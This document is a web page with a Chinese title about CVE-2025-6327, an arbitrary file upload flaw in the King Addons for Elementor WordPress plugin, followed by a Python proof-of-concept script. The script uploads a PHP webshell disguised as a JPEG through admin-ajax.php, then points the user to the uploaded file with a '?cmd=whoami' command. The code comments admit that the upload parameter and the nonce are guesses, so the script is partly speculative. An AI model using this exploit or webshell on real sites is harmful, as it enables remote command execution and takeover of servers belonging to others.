CVE-2025-6327 King Addons for Elementor插件任意文件上传漏洞

#!/usr/bin/env python3 """ CVE-2025-6327 PoC - King Addons for Elementor Arbitrary File Upload This PoC demonstrates the file upload vulnerability in King Addons for Elementor plugin. """ import requests import sys import random import string def generate_webshell(): """Generate a simple PHP webshell""" return '<?php system($_GET["cmd"]); ?>' def generate_random_string(length=8): """Generate random string for filename""" return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def exploit_cve_2025_6327(target_url, webshell_filename=None): """ Exploit for CVE-2025-6327 Args: target_url: Target WordPress site URL webshell_filename: Optional custom filename for the webshell Returns: Uploaded file path if successful, None otherwise """ if webshell_filename is None: webshell_filename = f"{generate_random_string()}.php" # The vulnerable endpoint and parameter may vary # This requires reconnaissance to identify the exact upload endpoint upload_endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Prepare the malicious file files = { 'file': (webshell_filename, generate_webshell(), 'image/jpeg') } # The actual parameter name needs to be identified through testing data = { 'action': 'king_addons_upload_file', 'security': 'nonce_value_here' # Nonce may or may not be required } try: print(f"[*] Attempting to upload webshell to {target_url}") print(f"[*] Filename: {webshell_filename}") # Send the upload request response = requests.post( upload_endpoint, files=files, data=data, timeout=30 ) if response.status_code == 200: print(f"[+] Request sent, check response: {response.text}") return webshell_filename else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") return None def main(): if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} https://example.com") sys.exit(1) target = sys.argv[1] result = exploit_cve_2025_6327(target) if result: print(f"\n[!] Exploitation may have succeeded") print(f"[!] Try accessing: {target}/wp-content/uploads/king-addons/{result}?cmd=whoami") else: print(f"\n[-] Exploitation failed or target not vulnerable") if __name__ == "__main__": main()